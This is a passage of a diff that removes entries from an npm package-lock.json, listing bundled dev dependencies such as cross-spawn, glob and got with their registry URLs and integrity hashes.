"^1.0.0", - "unique-string": "^1.0.0", - "write-file-atomic": "^2.0.0", - "xdg-basedir": "^3.0.0" - } - }, - "console-control-strings": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", - "integrity": "sha1-PXz0Rk22RG6mRL9LOVB/mFEAjo4=", - "bundled": true, - "dev": true - }, - "copy-concurrently": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/copy-concurrently/-/copy-concurrently-1.0.5.tgz", - "integrity": "sha512-f2domd9fsVDFtaFcbaRZuYXwtdmnzqbADSwhSWYxYB/Q8zsdUUFMXVRwXGDMWmbEzAn1kdRrtI1T/KTFOL4X2A==", - "bundled": true, - "dev": true, - "requires": { - "aproba": "^1.1.1", - "fs-write-stream-atomic": "^1.0.8", - "iferr": "^0.1.5", - "mkdirp": "^0.5.1", - "rimraf": "^2.5.4", - "run-queue": "^1.0.0" - }, - "dependencies": { - "iferr": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/iferr/-/iferr-0.1.5.tgz", - "integrity": "sha1-xg7taebY/bazEEofy8ocGS3FtQE=", - "bundled": true, - "dev": true - } - } - }, - "core-util-is": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", - "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=", - "bundled": true, - "dev": true - }, - "create-error-class": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/create-error-class/-/create-error-class-3.0.2.tgz", - "integrity": "sha1-Br56vvlHo/FKMP1hBnHUAbyot7Y=", - "bundled": true, - "dev": true, - "requires": { - "capture-stack-trace": "^1.0.0" - } - }, - "cross-spawn": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-5.1.0.tgz", - "integrity": "sha1-6L0O/uWPz/b4+UUQoKVUu/ojVEk=", - "bundled": true, - "dev": true, - "requires": { - "lru-cache": "^4.0.1", - "shebang-command": "^1.2.0", - "which": "^1.2.9" - } - }, - "cryptiles": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/cryptiles/-/cryptiles-2.0.5.tgz", - "integrity": "sha1-O9/s3GCBR8HGcgL6KR59ylnqo7g=", - "bundled": true, - "dev": true, - "requires": { - "boom": "2.x.x" - } - }, - "crypto-random-string": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-1.0.0.tgz", - "integrity": "sha1-ojD2T1aDEOFJgAmUB5DsmVRbyn4=", - "bundled": true, - "dev": true - }, - "cyclist": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/cyclist/-/cyclist-0.2.2.tgz", - "integrity": "sha1-GzN5LhHpFKL9bW7WRHRkRE5fpkA=", - "bundled": true, - "dev": true - }, - "dashdash": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", - "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=", - "bundled": true, - "dev": true, - "requires": { - "assert-plus": "^1.0.0" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "bundled": true, - "dev": true - } - } - }, - "debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", - "bundled": true, - "dev": true, - "requires": { - "ms": "2.0.0" - }, - "dependencies": { - "ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", - "bundled": true, - "dev": true - } - } - }, - "debuglog": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/debuglog/-/debuglog-1.0.1.tgz", - "integrity": "sha1-qiT/uaw9+aI1GDfPstJ5NgzXhJI=", - "bundled": true, - "dev": true - }, - "decamelize": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", - "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=", - "bundled": true, - "dev": true - }, - "decode-uri-component": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz", - "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=", - "bundled": true, - "dev": true - }, - "deep-extend": { - "version": "0.5.1", - "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.5.1.tgz", - "integrity": "sha512-N8vBdOa+DF7zkRrDCsaOXoCs/E2fJfx9B9MrKnnSiHNh4ws7eSys6YQE4KvT1cecKmOASYQBhbKjeuDD9lT81w==", - "bundled": true, - "dev": true - }, - "defaults": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/defaults/-/defaults-1.0.3.tgz", - "integrity": "sha1-xlYFHpgX2f8I7YgUd/P+QBnz730=", - "bundled": true, - "dev": true, - "requires": { - "clone": "^1.0.2" - } - }, - "delayed-stream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=", - "bundled": true, - "dev": true - }, - "delegates": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", - "integrity": "sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o=", - "bundled": true, - "dev": true - }, - "detect-indent": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/detect-indent/-/detect-indent-5.0.0.tgz", - "integrity": "sha1-OHHMCmoALow+Wzz38zYmRnXwa50=", - "bundled": true, - "dev": true - }, - "detect-newline": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-2.1.0.tgz", - "integrity": "sha1-9B8cEL5LAOh7XxPaaAdZ8sW/0+I=", - "bundled": true, - "dev": true - }, - "dezalgo": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/dezalgo/-/dezalgo-1.0.3.tgz", - "integrity": "sha1-f3Qt4Gb8dIvI24IFad3c5Jvw1FY=", - "bundled": true, - "dev": true, - "requires": { - "asap": "^2.0.0", - "wrappy": "1" - } - }, - "dot-prop": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-4.2.0.tgz", - "integrity": "sha512-tUMXrxlExSW6U2EXiiKGSBVdYgtV8qlHL+C10TsW4PURY/ic+eaysnSkwB4kA/mBlCyy/IKDJ+Lc3wbWeaXtuQ==", - "bundled": true, - "dev": true, - "requires": { - "is-obj": "^1.0.0" - } - }, - "dotenv": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-5.0.1.tgz", - "integrity": "sha512-4As8uPrjfwb7VXC+WnLCbXK7y+Ueb2B3zgNCePYfhxS1PYeaO1YTeplffTEcbfLhvFNGLAz90VvJs9yomG7bow==", - "bundled": true, - "dev": true - }, - "duplexer3": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.4.tgz", - "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI=", - "bundled": true, - "dev": true - }, - "duplexify": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.6.0.tgz", - "integrity": "sha512-fO3Di4tBKJpYTFHAxTU00BcfWMY9w24r/x21a6rZRbsD/ToUgGxsMbiGRmB7uVAXeGKXD9MwiLZa5E97EVgIRQ==", - "bundled": true, - "dev": true, - "requires": { - "end-of-stream": "^1.0.0", - "inherits": "^2.0.1", - "readable-stream": "^2.0.0", - "stream-shift": "^1.0.0" - } - }, - "ecc-jsbn": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.1.tgz", - "integrity": "sha1-D8c6ntXw1Tw4GTOYUj735UN3dQU=", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "jsbn": "~0.1.0" - } - }, - "editor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/editor/-/editor-1.0.0.tgz", - "integrity": "sha1-YMf4e9YrzGqJT6jM1q+3gjok90I=", - "bundled": true, - "dev": true - }, - "encoding": { - "version": "0.1.12", - "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.12.tgz", - "integrity": "sha1-U4tm8+5izRq1HsMjgp0flIDHS+s=", - "bundled": true, - "dev": true, - "requires": { - "iconv-lite": "~0.4.13" - } - }, - "end-of-stream": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.1.tgz", - "integrity": "sha512-1MkrZNvWTKCaigbn+W15elq2BB/L22nqrSY5DKlo3X6+vclJm8Bb5djXJBmEX6fS3+zCh/F4VBK5Z2KxJt4s2Q==", - "bundled": true, - "dev": true, - "requires": { - "once": "^1.4.0" - } - }, - "err-code": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/err-code/-/err-code-1.1.2.tgz", - "integrity": "sha1-BuARbTAo9q70gGhJ6w6mp0iuaWA=", - "bundled": true, - "dev": true - }, - "errno": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.7.tgz", - "integrity": "sha512-MfrRBDWzIWifgq6tJj60gkAwtLNb6sQPlcFrSOflcP1aFmmruKQ2wRnze/8V6kgyz7H3FF8Npzv78mZ7XLLflg==", - "bundled": true, - "dev": true, - "requires": { - "prr": "~1.0.1" - } - }, - "es6-promise": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.4.tgz", - "integrity": "sha512-/NdNZVJg+uZgtm9eS3O6lrOLYmQag2DjdEXuPaHlZ6RuVqgqaVZfgYCepEIKsLqwdQArOPtC3XzRLqGGfT8KQQ==", - "bundled": true, - "dev": true - }, - "es6-promisify": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/es6-promisify/-/es6-promisify-5.0.0.tgz", - "integrity": "sha1-UQnWLz5W6pZ8S2NQWu8IKRyKUgM=", - "bundled": true, - "dev": true, - "requires": { - "es6-promise": "^4.0.3" - } - }, - "escape-string-regexp": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", - "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=", - "bundled": true, - "dev": true - }, - "execa": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/execa/-/execa-0.7.0.tgz", - "integrity": "sha1-lEvs00zEHuMqY6n68nrVpl/Fl3c=", - "bundled": true, - "dev": true, - "requires": { - "cross-spawn": "^5.0.1", - "get-stream": "^3.0.0", - "is-stream": "^1.1.0", - "npm-run-path": "^2.0.0", - "p-finally": "^1.0.0", - "signal-exit": "^3.0.0", - "strip-eof": "^1.0.0" - } - }, - "extend": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.1.tgz", - "integrity": "sha1-p1Xqe8Gt/MWjHOfnYtuq3F5jZEQ=", - "bundled": true, - "dev": true - }, - "extsprintf": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz", - "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=", - "bundled": true, - "dev": true - }, - "figgy-pudding": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/figgy-pudding/-/figgy-pudding-3.1.0.tgz", - "integrity": "sha512-Gi2vIue0ec6P/7LNpueGhLuvfF2ztuterl8YFBQn1yKgIS46noGxCbi+vviPdObNYtgUSh5FpHy5q0Cw9XhxKQ==", - "bundled": true, - "dev": true - }, - "find-npm-prefix": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/find-npm-prefix/-/find-npm-prefix-1.0.2.tgz", - "integrity": "sha512-KEftzJ+H90x6pcKtdXZEPsQse8/y/UnvzRKrOSQFprnrGaFuJ62fVkP34Iu2IYuMvyauCyoLTNkJZgrrGA2wkA==", - "bundled": true, - "dev": true - }, - "find-up": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz", - "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", - "bundled": true, - "dev": true, - "requires": { - "locate-path": "^2.0.0" - } - }, - "flush-write-stream": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/flush-write-stream/-/flush-write-stream-1.0.3.tgz", - "integrity": "sha512-calZMC10u0FMUqoiunI2AiGIIUtUIvifNwkHhNupZH4cbNnW1Itkoh/Nf5HFYmDrwWPjrUxpkZT0KhuCq0jmGw==", - "bundled": true, - "dev": true, - "requires": { - "inherits": "^2.0.1", - "readable-stream": "^2.0.4" - } - }, - "forever-agent": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", - "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=", - "bundled": true, - "dev": true - }, - "form-data": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.1.4.tgz", - "integrity": "sha1-M8GDrPGTJ27KqYFDpp6Uv+4XUNE=", - "bundled": true, - "dev": true, - "requires": { - "asynckit": "^0.4.0", - "combined-stream": "^1.0.5", - "mime-types": "^2.1.12" - } - }, - "from2": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/from2/-/from2-2.3.0.tgz", - "integrity": "sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=", - "bundled": true, - "dev": true, - "requires": { - "inherits": "^2.0.1", - "readable-stream": "^2.0.0" - } - }, - "fs-minipass": { - "version": "1.2.5", - "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-1.2.5.tgz", - "integrity": "sha512-JhBl0skXjUPCFH7x6x61gQxrKyXsxB5gcgePLZCwfyCGGsTISMoIeObbrvVeP6Xmyaudw4TT43qV2Gz+iyd2oQ==", - "bundled": true, - "dev": true, - "requires": { - "minipass": "^2.2.1" - } - }, - "fs-vacuum": { - "version": "1.2.10", - "resolved": "https://registry.npmjs.org/fs-vacuum/-/fs-vacuum-1.2.10.tgz", - "integrity": "sha1-t2Kb7AekAxolSP35n17PHMizHjY=", - "bundled": true, - "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "path-is-inside": "^1.0.1", - "rimraf": "^2.5.2" - } - }, - "fs-write-stream-atomic": { - "version": "1.0.10", - "resolved": "https://registry.npmjs.org/fs-write-stream-atomic/-/fs-write-stream-atomic-1.0.10.tgz", - "integrity": "sha1-tH31NJPvkR33VzHnCp3tAYnbQMk=", - "bundled": true, - "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "iferr": "^0.1.5", - "imurmurhash": "^0.1.4", - "readable-stream": "1 || 2" - }, - "dependencies": { - "iferr": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/iferr/-/iferr-0.1.5.tgz", - "integrity": "sha1-xg7taebY/bazEEofy8ocGS3FtQE=", - "bundled": true, - "dev": true - } - } - }, - "fs.realpath": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", - "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=", - "bundled": true, - "dev": true - }, - "fstream": { - "version": "1.0.11", - "resolved": "https://registry.npmjs.org/fstream/-/fstream-1.0.11.tgz", - "integrity": "sha1-XB+x8RdHcRTwYyoOtLcbPLD9MXE=", - "bundled": true, - "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "inherits": "~2.0.0", - "mkdirp": ">=0.5 0", - "rimraf": "2" - } - }, - "gauge": { - "version": "2.7.4", - "resolved": "https://registry.npmjs.org/gauge/-/gauge-2.7.4.tgz", - "integrity": "sha1-LANAXHU4w51+s3sxcCLjJfsBi/c=", - "bundled": true, - "dev": true, - "requires": { - "aproba": "^1.0.3", - "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.0", - "object-assign": "^4.1.0", - "signal-exit": "^3.0.0", - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wide-align": "^1.1.0" - }, - "dependencies": { - "string-width": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", - "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", - "bundled": true, - "dev": true, - "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" - } - } - } - }, - "genfun": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/genfun/-/genfun-4.0.1.tgz", - "integrity": "sha1-7RAEHy5KfxsKOEZtF6XD4n3x38E=", - "bundled": true, - "dev": true - }, - "gentle-fs": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/gentle-fs/-/gentle-fs-2.0.1.tgz", - "integrity": "sha512-cEng5+3fuARewXktTEGbwsktcldA+YsnUEaXZwcK/3pjSE1X9ObnTs+/8rYf8s+RnIcQm2D5x3rwpN7Zom8Bew==", - "bundled": true, - "dev": true, - "requires": { - "aproba": "^1.1.2", - "fs-vacuum": "^1.2.10", - "graceful-fs": "^4.1.11", - "iferr": "^0.1.5", - "mkdirp": "^0.5.1", - "path-is-inside": "^1.0.2", - "read-cmd-shim": "^1.0.1", - "slide": "^1.1.6" - }, - "dependencies": { - "iferr": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/iferr/-/iferr-0.1.5.tgz", - "integrity": "sha1-xg7taebY/bazEEofy8ocGS3FtQE=", - "bundled": true, - "dev": true - } - } - }, - "get-caller-file": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-1.0.2.tgz", - "integrity": "sha1-9wLmMSfn4jHBYKgMFVSstw1QR+U=", - "bundled": true, - "dev": true - }, - "get-stream": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", - "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=", - "bundled": true, - "dev": true - }, - "getpass": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", - "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=", - "bundled": true, - "dev": true, - "requires": { - "assert-plus": "^1.0.0" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "bundled": true, - "dev": true - } - } - }, - "glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "bundled": true, - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "global-dirs": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/global-dirs/-/global-dirs-0.1.1.tgz", - "integrity": "sha1-sxnA3UYH81PzvpzKTHL8FIxJ9EU=", - "bundled": true, - "dev": true, - "requires": { - "ini": "^1.3.4" - } - }, - "got": { - "version": "6.7.1", - "resolved": "https://registry.npmjs.org/got/-/got-6.7.1.tgz", - "integrity": "sha1-JAzQV4WpoY5WHcG0S0HHY+8ejbA=", - "bundled": true, - "dev": true, - "requires": { - "create-error-class": "^3.0.0", - "duplexer3": "^0.1.4", - "get-stream": "^3.0.0", - "is-redirect": "^1.0.0", - "is-retry-allowed": "^1.0.0", - "is-stream": "^1.0.0", - "lowercase-keys": "^1.0.0", - "safe-buffer": "^5.0.1", - "timed-out": "^4.0.0", - "unzip-response": "^2.0.1", - "url-parse-lax": "^1.0.0" - } - }, - "graceful-fs": { - "version": "4.1.11", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.1.11.tgz", - "integrity": "sha1-Dovf5NHduIVNZOBOp8AOKgJuVlg=", - "bundled": true, - "dev": true - }, - "har-schema": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-1.0.5.tgz", - "integrity": "sha1-0mMTX0MwfALGAq/I/pWXDAFRNp4=", - "bundled": true, - "dev": true - }, - "har-validator": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-4.2.1.tgz", - "integrity": "sha1-M0gdDxu/9gDdID11gSpqX7oALio=", - "bundled": true, - "dev": true, - "requires": { - "ajv": "^4.9.1", - "har-schema": "^1.0.5" - }, - "dependencies": { - "ajv": { - "version": "4.11.8", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-4.11.8.tgz", - "integrity": "sha1-gv+wKynmYq5TvcIK8VlHcGc5xTY=", - "bundled": true, - "dev": true, - "requires": { - "co": "^4.6.0", - "json-stable-stringify": "^1.0.1" - } - } - } - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "bundled": true, - "dev": true - }, - "has-unicode": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", - "integrity": "sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk=", - "bundled": true, - "dev": true - }, - "hawk": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/hawk/-/hawk-3.1.3.tgz", - "integrity": "sha1-B4REvXwWQLD+VA0sm3PVlnjo4cQ=", - "bundled": true, - "dev": true, - "requires": { - "boom": "2.x.x", - "cryptiles": "2.x.x", - "hoek": "2.x.x", - "sntp": "1.x.x" - } - }, - "hoek": { - "version": "2.16.3", - "resolved": "https://registry.npmjs.org/hoek/-/hoek-2.16.3.tgz", - "integrity": "sha1-ILt0A9POo5jpHcRxCo/xuCdKJe0=", - "bundled": true, - "dev": true - }, - "hosted-git-info": { - "version": "2.6.0", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.6.0.tgz", - "integrity": "sha512-lIbgIIQA3lz5XaB6vxakj6sDHADJiZadYEJB+FgA+C4nubM1NwcuvUr9EJPmnH1skZqpqUzWborWo8EIUi0Sdw==", - "bundled": true, - "dev": true - }, - "http-cache-semantics": { - "version": "3.8.1", - "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-3.8.1.tgz", - "integrity": "sha512-5ai2iksyV8ZXmnZhHH4rWPoxxistEexSi5936zIQ1bnNTW5VnA85B6P/VpXiRM017IgRvb2kKo1a//y+0wSp3w==", - "bundled": true, - "dev": true - }, - "http-proxy-agent": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-2.1.0.tgz", - "integrity": "sha512-qwHbBLV7WviBl0rQsOzH6o5lwyOIvwp/BdFnvVxXORldu5TmjFfjzBcWUWS5kWAZhmv+JtiDhSuQCp4sBfbIgg==", - "bundled": true, - "dev": true, - "requires": { - "agent-base": "4", - "debug": "3.1.0" - } - }, - "http-signature": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.1.1.tgz", - "integrity": "sha1-33LiZwZs0Kxn+3at+OE0qPvPkb8=", - "bundled": true, - "dev": true, - "requires": { - "assert-plus": "^0.2.0", - "jsprim": "^1.2.2", - "sshpk": "^1.7.0" - } - }, - "https-proxy-agent": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-2.2.1.tgz", - "integrity": "sha512-HPCTS1LW51bcyMYbxUIOO4HEOlQ1/1qRaFWcyxvwaqUS9TY88aoEuHUY33kuAh1YhVVaDQhLZsnPd+XNARWZlQ==", - "bundled": true, - "dev": true, - "requires": { - "agent-base": "^4.1.0", - "debug": "^3.1.0" - } - }, - "humanize-ms": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/humanize-ms/-/humanize-ms-1.2.1.tgz", - "integrity": "sha1-xG4xWaKT9riW2ikxbYtv6Lt5u+0=", - "bundled": true, - "dev": true, - "requires": { - "ms": "^2.0.0" - } - }, - "iconv-lite": { - "version": "0.4.23", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.23.tgz", - "integrity": "sha512-neyTUVFtahjf0mB3dZT77u+8O0QB89jFdnBkd5P1JgYPbPaia3gXXOVL2fq8VyU2gMMD7SaN7QukTB/pmXYvDA==", - "bundled": true, - "dev": true, - "requires": { - "safer-buffer": ">= 2.1.2 < 3" - } - }, - "iferr": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/iferr/-/iferr-1.0.0.tgz", - "integrity": "sha512-0+ecqiP/cxgnNBIPi+TgJlaxE7sFp2N3kBFg17klQUdf24YKiaEV6b9QgEqOlD5vCVCE0U7OV9lPSN2OfS4zoQ==", - "bundled": true, - "dev": true - }, - "ignore-walk": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/ignore-walk/-/ignore-walk-3.0.1.tgz", - "integrity": "sha512-DTVlMx3IYPe0/JJcYP7Gxg7ttZZu3IInhuEhbchuqneY9wWe5Ojy2mXLBaQFUQmo0AW2r3qG7m1mg86js+gnlQ==", - "bundled": true, - "dev": true, - "requires": { - "minimatch": "^3.0.4" - } - }, - "import-lazy": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-2.1.0.tgz", - "integrity": "sha1-BWmOPUXIjo1+nZLLBYTnfwlvPkM=", - "bundled": true, - "dev": true - }, - "imurmurhash": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", - "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=", - "bundled": true, - "dev": true - }, - "inflight": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", - "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", - "bundled": true, - "dev": true, - "requires": { - "once": "^1.3.0", - "wrappy": "1" - } - }, - "inherits": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", - "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", - "bundled": true, - "dev": true - }, - "ini": { - "version": "1.3.5", - "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.5.tgz", - "integrity": "sha512-RZY5huIKCMRWDUqZlEi72f/lmXKMvuszcMBduliQ3nnWbx9X/ZBQO7DijMEYS9EhHBb2qacRUMtC7svLwe0lcw==", - "bundled": true, - "dev": true - }, - "init-package-json": { - "version": "1.10.3", - "resolved": "https://registry.npmjs.org/init-package-json/-/init-package-json-1.10.3.tgz", - "integrity": "sha512-zKSiXKhQveNteyhcj1CoOP8tqp1QuxPIPBl8Bid99DGLFqA1p87M6lNgfjJHSBoWJJlidGOv5rWjyYKEB3g2Jw==", - "bundled": true, - "dev": true, - "requires": { - "glob": "^7.1.1", - "npm-package-arg": "^4.0.0 || ^5.0.0 || ^6.0.0", - "promzard": "^0.3.0", - "read": "~1.0.1", - "read-package-json": "1 || 2", - "semver": "2.x || 3.x || 4 || 5", - "validate-npm-package-license": "^3.0.1", - "validate-npm-package-name": "^3.0.0" - } - }, - "invert-kv": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz", - "integrity": "sha1-EEqOSqym09jNFXqO+L+rLXo//bY=", - "bundled": true, - "dev": true - }, - "ip": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/ip/-/ip-1.1.5.tgz", - "integrity": "sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=", - "bundled": true, - "dev": true - }, - "ip-regex": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/ip-regex/-/ip-regex-2.1.0.tgz", - "integrity": "sha1-+ni/XS5pE8kRzp+BnuUUa7bYROk=", - "bundled": true, - "dev": true - }, - "is-builtin-module": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-builtin-module/-/is-builtin-module-1.0.0.tgz", - "integrity": "sha1-VAVy0096wxGfj3bDDLwbHgN6/74=", - "bundled": true, - "dev": true, - "requires": { - "builtin-modules": "^1.0.0" - } - }, - "is-ci": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-ci/-/is-ci-1.1.0.tgz", - "integrity": "sha512-c7TnwxLePuqIlxHgr7xtxzycJPegNHFuIrBkwbf8hc58//+Op1CqFkyS+xnIMkwn9UsJIwc174BIjkyBmSpjKg==", - "bundled": true, - "dev": true, - "requires": { - "ci-info": "^1.0.0" - } - }, - "is-cidr": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/is-cidr/-/is-cidr-2.0.6.tgz", - "integrity": "sha512-A578p1dV22TgPXn6NCaDAPj6vJvYsBgAzUrAd28a4oldeXJjWqEUuSZOLIW3im51mazOKsoyVp8NU/OItlWacw==", - "bundled": true, - "dev": true, - "requires": { - "cidr-regex": "^2.0.8" - } - }, - "is-fullwidth-code-point": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", - "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", - "bundled": true, - "dev": true, - "requires": { - 